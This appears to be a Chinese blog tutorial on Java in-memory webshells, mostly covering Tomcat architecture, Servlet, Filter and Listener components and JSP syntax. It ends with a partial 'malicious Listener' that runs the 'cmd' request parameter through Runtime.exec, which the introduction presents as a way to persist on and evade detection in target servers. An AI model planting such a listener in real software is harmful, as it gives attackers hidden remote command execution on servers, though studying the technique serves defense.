内存马学习之Java内存马

本文最后更新于:2022年9月12日 上午

内存马学习之Java内存马

Java内存马介绍

​ 内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。

Java内存马原理

​ Java内存马为Webshell脚本类内存马,其原理是先由客户端发起一个web请求,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。

​ 为了彻底搞明白Java内存马究竟是怎么回事,这里我们先介绍一下Tomcat的基本架构,从基本架构出发,我们能够更好的理解Java内存马的来源。

Tomcat架构学习

Tomcat简介

Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。

Tomcat架构

img

112a8d88bf72526f701c09b4b97fd5f7.png

​ Tomcat架构采用类似于俄罗斯套娃的设计方式。换句话说就是一个容器包含一个容器,而这个被包含的容器反过来再包含别的实体。Tomcat将Engine,Host,Context,Wrapper统一抽象成容器(Container)。一个抽象的容器模块可以包含各种服务。

容器组件

  • Server组件:Server是最顶级的组件,一个Tomcat对应一个Server,Server代表tomcat的运行实例,其中包含Listener组件用以监听生命周期中的各种事件;包含Global Naming Resources组件用以集成JNDI;包含Service组件用以提供服务。
  • Service组件:Service是服务的抽象,代表请求从接受到处理的所有组件的集合;Server组件可以包含多个Service组件;包含Connector组件用以接收客户端的信息;包含Engine组件用以处理请求;包含Executor用以提供线程池执行任务。一个Service包含多个connector(接受请求的协议),和一个container(容器),多个connector共享一个container容器。
  • Connector组件:负责接受客户端连接并接受信息报文,解析不同协议及io方式。包含Mapper组件对请求地址进行路由;包含CoyoteAdaptor组件用以将Connector组件和Engine等容器组件适配;
  • Executor组件:线程池
  • Engine组件:Servlet引擎,container容器中顶层的容器对象,用来管理多克虚拟站点,包含Listener组件用以在生命周期中对Engine相关的事件进行监听;包含AccessLog组件以记录访问日志;包含Cluster组件以提供集群功能,将需要共享的数据同步到集群中的其他Tomcat实例中;包含Pipeline组件用以处理请求;包含Realm组件用以提供安全权限功能。一个Service最多只有一个Engine,但一个engine可以包含多个host主机。
  • Host组件:代表一个虚拟主机,或者说一个站点,可以给Tomcat配置多个虚拟主机地址,而一个虚拟主机下可包含多个Context。Host包含Listener组件用以在生命周期中对Host相关的事件进行监听;包含AccessLog组件以记录访问日志;包含Cluster组件以提供集群功能,将需要共享的数据同步到集群中的其他Tomcat实例中;包含Pipeline组件用以处理请求;包含Realm组件用以提供安全权限功能。一个host对应一个网络域名,一个host包含多个context。
  • Context组件:Web应用抽象,Web应用部署tomcat后会转换为Context对象;包含了各种静态资源、若干Servlet(Wrapper容器)以及各种其他动态资源。contest表示一个Web应用,一个web应用可包含多克Wrapper
  • Mapper组件用以作为路由映射Servlet。
  • Wrapper组件:表示一个Servlet,负责管理整个Servlet的生命周期,包括装载、初始化、资源回收等;包含Web应用开发常用的Servlet组件;包含ServletPool组件用以存放Servlet对象。web应用中的servlet会被包装成一个wrapper。

可以用一张图来表示请求在Container中的解析过程:

img

Tomcat将请求路由到具体的Serclet的过程是交给Mapper组件来完成的。Mapper组件里面会保存着Tomcat应用的各种配置信息,例如Host域名、Context路径等。

1
2
3
4
1.根据请求协议各端口号路由到相应的Service,找到Service对应唯一的Engine容器。
2.更与域名地址找到相应的Host容器。
3.根据URL路径匹配某一个Context组件。
4.最后根据URL匹配到某一个Wrapper,也就是Servlet。

JavaWeb三大组件

Servlet组件

Servlet是用来处理客户端请求的动态资源,当Tomcat接收到来自客户端的请求时,会将其解析成RequestServlet对象并发送到对应的Servlet上处理。

Servlet组件有javax.servlet.Servlet类实现,由initgetServletConfigservicegetServletInfodestory方法构成。

image-20221123230434457

Servlet的生命周期

Servlet的生命周期分如下五个阶段

  • 加载:当Tomcat第一次访问Servlet时,Tomcat会负责创建Servlet的实例
  • 初始化:Tomcat创建Servlet后,调用init()方法初始化对象
  • 服务:当浏览器访问Servlet时,Servlet会调用service()处理请求
  • 销毁:当Tomcat关闭时或检测到Servlet从Tomcat删除时会调用destory()方法。
  • 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

为了简化操作,Tomcat帮我们封装了javax.servlet.http.HttpServlet类,其中包括doGetdoPost等方法。对于简单的HTTP请求,我们只需要重载响应的方法即可,例如get方法重载doGet()

image-20221123230835655

Servlet样例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// src/main/java/example/demo/Login.java
package example.demo;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/password")
public class Login extends HttpServlet {
private String message;

public void init() {
message = "欢迎登陆";
}

public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// String getMethod():获取请求方式:GET
resp.setContentType("text/html;charset=UTF-8");
PrintWriter printWriter = resp.getWriter();
printWriter.write("<pre><h3>");
String method = req.getMethod();
printWriter.write("method:" + method);
printWriter.write("\n");
// String getContextPath():获取虚拟目录(项目访问路径):/webapp
String contextPath = req.getContextPath();
printWriter.write("contextPath:" + contextPath);
printWriter.write("\n");
// StringBuffer
// getRequestURL():获取URL(统一资源定位符):http://localhost:8080/webapp/Login
StringBuffer url = req.getRequestURL();
printWriter.write("url:" + url.toString());
printWriter.write("\n");
// String getRequestURI():获取URI(统一资源标识符): /webapp/Login
String uri = req.getRequestURI();
printWriter.write("uri:" + uri);
printWriter.write("\n");
// String getQueryString():获取请求参数(GET方式): username=admin
String queryString = req.getQueryString();
printWriter.write("queryString:" + queryString);
printWriter.write("\n");

printWriter.write(message);
printWriter.write("</h3></pre>");
}

public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write("Post方法" + message);
}
}

上述代码在/password路径中创建了名为Login的Servlet,项目名称为webapp,访问http://localhost:8080/webapp/password,成功调用doGet方法。

image-20221123231446703

值得注意的是,在代码中我们使用了@WebServlet("/password")注解进行Servlet注册,对Servlet进行路由绑定,任何访问password的请求都将传递给Login类进行处理。当然@WebServlet是servlet3.0以后支持的方式,如果servlet低于3.0,我们仍然需要使用web.html进行配置,为了与上面区分,下面的web.html/Login的路径绑定至Login类上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
<welcome-file>default.jsp</welcome-file>
</welcome-file-list>
<servlet>
<!--这里是给我们的servlet取个别名,一般类名就行-->
<servlet-name>Login</servlet-name>
<!--这里是全类名,也就是让系统知道你上面那个名字是取给谁的-->
<servlet-class>example.demo.Login</servlet-class>
</servlet>
<!--给上面的东西添加映射,可以理解为,上面创建了一个门,这里写门通向哪里-->
<servlet-mapping>
<!--和上面的大门名对应-->
<servlet-name>Login</servlet-name>
<!--大门名的接口, 后面运行后的地址加上/Login,就可以访问到我们的servlet类了-->
<url-pattern>/Login</url-pattern>
</servlet-mapping>

</web-app>

tomcaturl访问http://localhost:8080/webapp/password过程如下图所示:

JavaWeb.drawio

ServletConfig

ServletConfig就是Servlet的配置参数对象,每个Servlet都有一个专属的ServletConfig,负责在初始化时将当前Servlet的配置传递给Servlet,简单来说,ServletConfig就是当前Servlet在web.xml中的配置信息,可以使用getServletConfig()获得当前Servlet的ServletConfig对象。

主要方法

1
2
3
getServletName() 获取Servlet的别名servlet-name的值
getInitParameter("") 获取当前Servlet的初始化值init-param
getServletContext() 获取ServletContext对象

测试样例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// src/main/java/example/demo/Login.java
package example.demo;

import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/password")
public class Login extends HttpServlet {
private String message;

public void init() {
message = "欢迎登陆";
}

public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
PrintWriter printWriter = resp.getWriter();
printWriter.write("<pre><h3>");

//获取ServletConfig
ServletConfig servletConfig = getServletConfig();
String name = servletConfig.getServletName();
printWriter.write("Servlet的名称是"+name);
printWriter.write("\n");
String arg1 = servletConfig.getInitParameter("arg1");
printWriter.write("arg1:的值为"+arg1);
printWriter.write("</h3></pre>");
}

public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write("Post方法" + message);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!--/src/main/webapp/WEB-INF/web.xml-->
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
<welcome-file>default.jsp</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>Login</servlet-name>
<servlet-class>example.demo.Login</servlet-class>
<!-- 配置当前Servlet上下文参数-->
<init-param>
<param-name>arg1</param-name>
<param-value>Servlet_login</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>Login</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<!-- 配置ServletContext上下文参数-->
<context-param>
<param-name>arg2</param-name>
<param-value>Servlet-Global</param-value>
</context-param>

</web-app>

image-20221124103649762

ServletContext

ServletContext是一个全局的存储信息的空间,可以理解为全局变量,一个Web工程内只有一个ServletContext对象实例,是一个域对象。任何ServletConfig都可以通过servletConfig.getServletContext()获得ServletContext对象。同样的ServletContext对象也可以在web.xml设置上下文初始化参数。

主要方法

1
2
3
getContextPath() 获得当前工程路径,/工程路径
getRealPath("/") 获得工程部署后在服务器硬盘上的绝对路径
getInitParameter("") 获得web.xml配置的全局上下文参数context-param

测试样例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// src/main/java/example/demo/Login.java
package example.demo;

import javax.servlet.ServletConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/password")
public class Login extends HttpServlet {
private String message;

public void init() {
message = "欢迎登陆";
}

public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
PrintWriter printWriter = resp.getWriter();
printWriter.write("<pre><h3>");

//获取ServletConfig
ServletConfig servletConfig = getServletConfig();
String name = servletConfig.getServletName();
printWriter.write("Servlet的名称是"+name);
printWriter.write("\n");
String arg1 = servletConfig.getInitParameter("arg1");
printWriter.write("arg1:的值为"+arg1);
printWriter.write("\n");

// 获得ServletContext
ServletContext servletContext = servletConfig.getServletContext();
String arg2 = servletContext.getInitParameter("arg2");
printWriter.write("arg2:的值为"+arg2);

printWriter.write("</h3></pre>");
}

public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write("Post方法" + message);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!--/src/main/webapp/WEB-INF/web.xml-->
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
<welcome-file>default.jsp</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>Login</servlet-name>
<servlet-class>example.demo.Login</servlet-class>
<!-- 配置当前Servlet上下文参数-->
<init-param>
<param-name>arg1</param-name>
<param-value>Servlet_login</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>Login</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<!-- 配置ServletContext上下文参数-->
<context-param>
<param-name>arg2</param-name>
<param-value>ServletContext</param-value>
</context-param>

</web-app>

image-20221124104918885

Filter组件

Filter组件是运行在服务端的组件,主要功能是对客户端访问资源的过滤,不符合条件的拦截,符合要求的资源使用FilterChain.doFilter()放行,并且可以对访问的目标资源访问前后进行逻辑处理。

​ 每个过滤器在客户端向服务器发送请求时进行一次过滤,在服务器向客户端响应时进行一次过滤。一个Servlet可以设置多个Filter,Filter之间按照一定顺序构成调用链,优先级高的先进行调用,每个Filter使用FilterChain接口将处理后的资源传递,其doFIiter()方法用于将本Filter处理完的Servlet资源交给下一个Filter处理,最终交付给Servlet进行响应,Filter调用过程如下图所示:

image-20221117191830346

img

Filter生命周期

Filter生命周期与Servlet一样,Filter的创建和销毁也是由WEB服务器负责。

  • 初始化阶段:init(FilterConfig),只会在web应用启动时调用
  • 拦截和过滤阶段:doFilter(ServletRequest, ServletResponse, FilterChain),完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
  • 销毁阶段:destory(),销毁Filter,只会在当web应用移除或服务器停止时才调用一次来卸载Filter对象
Filter示例

Filter_memshell.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// src/main/java/Filter_memshell.java
package example.demo;

import javax.servlet.*;
import java.io.IOException;
import java.io.PrintWriter;

public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "调用 Filter_mem";
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter printWriter = response.getWriter();

printWriter.write("<pre><h3>");
printWriter.write(message);
printWriter.write("\n");
// 放行请求
chain.doFilter(request,response);
}

@Override
public void destroy() {
}
}

Filter_2.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// src/main/java/Filter_2.java
package example.demo;

import javax.servlet.*;
import java.io.IOException;
import java.io.PrintWriter;

public class Filter_2 implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "调用 Filter_2";
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter printWriter = response.getWriter();

// printWriter.write("<pre><h3>");
printWriter.write(message);
// 放行请求
chain.doFilter(request,response);
}

@Override
public void destroy() {
}
}

web.xml

我们在配置url-pattern配置时,有三种写法:

  • 精确匹配:/Login
  • 目录匹配:/aaa/bbb/*
  • 扩展名匹配:*.abc,*.jsp

值得注意的是,url-pattern也可以使用servlet-name代替,此时Filter会与Servlet绑定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<!--/src/main/webapp/WEB-INF/web.xml-->
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
<welcome-file>default.jsp</welcome-file>
</welcome-file-list>
<servlet>
<!--这里是给我们的servlet取个别名,一般类名就行-->a
<servlet-name>Login</servlet-name>
<!--这里是全类名,也就是让系统知道你上面那个名字是取给谁的-->
<servlet-class>example.demo.Login</servlet-class>
<init-param>
<param-name>arg1</param-name>
<param-value>Servlet_login</param-value>
</init-param>
</servlet>
<!--给上面的东西添加映射,可以理解为,上面创建了一个门,这里写门通向哪里-->
<servlet-mapping>
<!--和上面的大门名对应-->
<servlet-name>Login</servlet-name>
<!--大门名的接口, 后面运行后的地址加上/ser01,就可以访问到我们的servlet类了-->
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<!-- 配置ServletContext上下文参数-->
<context-param>
<param-name>arg2</param-name>
<param-value>ServletContext</param-value>
</context-param>
<filter>
<filter-name>Filter1</filter-name>
<filter-class>example.demo.Filter_memshell</filter-class>
</filter>
<filter-mapping>
<filter-name>Filter1</filter-name>
<!--对该web应用下的所有资源进行过滤-->
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>Filter2</filter-name>
<filter-class>example.demo.Filter_2</filter-class>
</filter>
<filter-mapping>
<filter-name>Filter2</filter-name>
<url-pattern>/*</url-pattern>
<!--<servlet-name>Login</servlet-name>-->
</filter-mapping>

</web-app>

当然,对于注册Filter,我们也可以使用@WebFilter()注解实现,上述web.xml可以简写为:

1
2
3
@WebFilter(filterName = "Filter_memshell",
urlPatterns = "/Login"
)

image-20221124155447634

Filter执行顺序

filter执行顺序是由filter注册时优先级决定,与Servlert类似,Filter也存在两种注册方式。

  • 基于注解配置:按照类名的字符串比较规则比较,值小的先执行
  • 基于web.xml配置:根据对应的Mapping的顺序组织,定义在上面先执行。
FilterConfig

与Servlet类似,Filte同样存在FilterConfig存储基本配置信息,不同的是Filer只能在init方法参数中获取。

主要方法

1
2
3
4
getFilterName()  获得Filter的名字filter-name的内容
getServletContext() 获得ServletContext对象
getInitParameter("") 获取在Filter中配置的init-param初始化参数
getInitParameterNames() 获取在Filter中配置的初始化参数的名称

Listener组件

Listener是Listener监听器,用于监听一个方法或属性,当被监听的方法被调用或者属性改变时,通过回调函数,反馈给客户(程序)。

监听器的分类
事件源 监听器 描述
ServletContext ServletContextListener 用于监听 ServletContext 对象的创建与销毁过程
HttpSession HttpSessionListener 用于监听 HttpSession 对象的创建和销毁过程
ServletRequest ServletRequestListener 用于监听 ServletRequest 对象的创建和销毁过程
ServletContext ServletContextAttributeListener 用于监听 ServletContext 对象的属性新增、移除和替换
HttpSession HttpSessionAttributeListener 用于监听 HttpSession 对象的属性新增、移除和替换
ServletRequest ServletRequestAttributeListener 用于监听 HttpServletRequest 对象的属性新增、移除和替换
HttpSession HttpSessionBindingListener 用于监听 JavaBean 对象绑定到 HttpSession 对象和从 HttpSession 对象解绑的事件
HttpSession HttpSessionActivationListener 用于监听 HttpSession 中对象活化和钝化的过程

根据监听对象的不同可以划分为三类:

  • ServletContextListener:服务器启动和终止时触发
  • HttpSessionListener:有关Session操作时触发
  • ServletRequestListener:访问服务时触发
ServletContextListener使用示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// src/main/java/Listener_memshell.java
package example.demo;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebListener
public class Listener_memshell implements ServletContextListener, HttpSessionListener, HttpSessionAttributeListener {

@Override
public void contextInitialized(ServletContextEvent sce) {
/* This method is called when the servlet context is initialized(when the Web application is deployed). */
System.out.println("ServletContext对象创建了!");
}

@Override
public void contextDestroyed(ServletContextEvent sce) {
/* This method is called when the servlet Context is undeployed or Application Server shuts down. */
System.out.println("ServletContext对象销毁了!");
}
}

当启动Tomcat时,Servlet被创建;Tomcat结束时,Servlet被销毁。

image-20221124163335188

image-20221124163345152

三个组件启动顺序

tomcat启动时,三大组件的启动顺序为Listener->Filter->Servlet,在org.apache.catalina.core.StandardContext类的startInternal()方法中,依次调用了listenerStart()filterStart()loadOnStartUp()分别对应Listener,Filter,Servlet。

image-20221124164252406

参考连接

tomcat整体架构

Tomcat 主要组件(让你熟练运用)

javaweb三大组件

JavaEE–JavaWeb三大组件Servlet、Filter、Listener

Tomcat内存马

在介绍Tomcat内存马之前,我们首先介绍一下jsp的语法,因为Tomcat是默认支持jsp语言的,而我们的内存马也是通过jsp脚本注入的。

JSP入门

JSP实现原理及简单语法

tomcat内置jsp的一个servlet,会将*.jsp转换为java代码,从而编译为.class文件运行,同时jsp也可以获取到服务器的网络请求并作出相应的响应。

1
2
3
4
5
6
7
8
9
// 普通脚本
<% java代码 %>

// 普通脚本可以使用所有的java语法,除了定义函数,脚本之间不可嵌套,脚本与html之间不可嵌套。

<%
out.println("hi");
System.out.println("hi");
%>
1
2
3
4
5
6
7
8
9
10
11
12
// 声明脚本
<%! 定义变量、函数%>
// 声明脚本声明的变量都是全局变量
// 声明脚本的内容必须在普通脚本中调用
// 如果声明脚本中的函数具有返回值,使用输出脚本调用

<%!
int a = 0;
public void func(){
System.out.println("hi");
}
%>
1
2
3
4
5
输出脚本
<%=java表达式%>
输出脚本可以输出带有返回值的函数,输出脚本不能加分号

<%="hello world"%>
1
2
3
注释
<%-- --%> 不会发送到浏览器
<!-- --> 会发送到浏览器
1
2
3
4
5
6
7
8
9
10
11
jsp指令,用来设置于整个jsp页面相关的属性,共有三个,如下
<%@ page ...%> 定义页面的依赖属性,比如脚本语言、error页面
<%@ include ...%> 包含其他文件
<%@ taglib ...%> 引入标签库的定义,可以是自定义标签

page指令语法格式
<%@ page attr1="value1" attr2="value2"%>
include指令语法格式
<%@ include file="file_path"%> 静态包含
taglib指令
<%@ taglib uri="外部标签库路径" prefix="前缀"%>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
动作标签
语法<jsp:action_name attr="value" />
动作标签指jsp页面在运行期间的命令

1.include
语法:<jsp:include page="相对url地址" />
<jsp:include>动作元素会将外部文件输出结果包含在jsp中,动态包含

2.useBean
语法:<jsp:useBean id="对象名字" class="package.className" />
jsp:useBean动作用来加载一个将在jsp页面中使用的javabean

3. setProperty
设置属性值

4.getProperty
取属性值

示例
<jsp:useBean id="user" class="com.qf.entity.User" />
<jsp:setProperty name="user" property="username" value="tom" />
<jsp:getProperty name="user" property="username" />

5.forward
语法:<jsp:forward page="相对url地址">
将请求转向另外的页面

6.param
语法:<jsp:param name="" value="">
在转发动作内部使用,做参数传递

JSP内置对象、四大域对象

JSP内置对象

由jsp自动创建的对象,可以直接使用,共有9个

request、response、session、application、config、exception、out、pageContext、page

四大域对象

jsp由四大作用域对象,存储数据和获取数据的方式一样,不同的是取值的范围有差别

pageContext 当前jsp页面范围,一旦跳转则失效。用于获取其他8个内置对象

request 一次请求有效

session 一次会话有效(关闭浏览器失效)

application 整个web应用有效(服务器重启或关闭失效)

pageContext还可以操作其他作用域,向其他作用域存值和取值

1
2
3
4
5
6
7
8
9
<%
pageContext.setAttribute("page", "a");
pageContext.setAttribute("req", "b", PageContext.REQUEST_SCOPE);
pageContext.setAttribute("sess", "c", PageContext.SESSION_SCOPE);
pageContext.setAttribute("app", "d", PageContext.APPLICATION_SCOPE);
String req = (String) pageContext.getAttribute("req", PageContext.REQUEST_SCOPE);
String sess = (String) pageContext.getAttribute("sess", PageContext.SESSION_SCOPE);
String app = (String) pageContext.getAttribute("app", PageContext.APPLICATION_SCOPE);
%>

JavaWeb 基本流程

​ 与php内存马不同的是,Java内存马并不是死循环创建文件的笨办法,但很类似,首先我们先来了解一下JavaWeb的基本组件。通常运行Java的web容器是tomcat,这里以tomcat为例,客户端与服务器(tomcat)交互流程如图所示:

image-20221117191625498

​ 客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。动态注册技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态注册添加内存马的方式适合Tomcat7.x以上版本。

按照shellcode的具体位置,就有

  • listener内存马
  • filter内存马
  • Servlet内存马

maven配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<!-- pom.xml -->
<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.example</groupId>
<artifactId>demo</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>

<name>demo Maven Webapp</name>
<!-- FIXME change it to the project's website -->
<url>http://www.example.com</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>

</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.55</version>
</dependency>
</dependencies>

<build>
<sourceDirectory>src/main/java</sourceDirectory>
<resources>
<resource>
<directory>src/main/resources</directory>
</resource>
</resources>
<outputDirectory>${basedir}/target/webapp/WEB-INF/classes</outputDirectory>
<finalName>demo</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
</build>

</project>

Listener型内存马

​ listenre顾名思义,监听某一事件的发生,状态改变等,监听器可以监听资源的变化,简单说就是在 applicationsessionrequest 三个对象创建、销毁或者往其中添加修改删除属性时自动执行代码的功能组件。

​ 请求网站的时候,程序会先执行listener监听器的内容,tomcat三大组件执行顺序:Listener->Filter->Servlet。Listerner的优先级是相对比较高的,因此可以利用Listener组件注册内存马。Listener类型包括一下三种:

  • ServletContextListener:服务器启动和终止时触发
  • HttpSessionListener:有关Session操作时触发
  • ServletRequestListener:访问服务时触发

​ 最适合做内存马的当然是SercletRequestListener,只要访问服务或网络请求,都会触发监听器,从而执行ServletRequestListener#requestInitialized(),接下来,我们在服务器后端写一个恶意监听器。

恶意Listener监听器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// src/main/java/Listener_memshell.java
package example.demo;

import jdk.nashorn.internal.ir.RuntimeNode;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

@WebListener
public class Listener_memshell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
// 获取request请求
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
// 获取response请求

// 获取参数
String cmd = req.getParameter("cmd");
if(cmd != null){
try{
// 获得response响应
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
Response response = (Response) request.getResponse();

// 执行命令
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
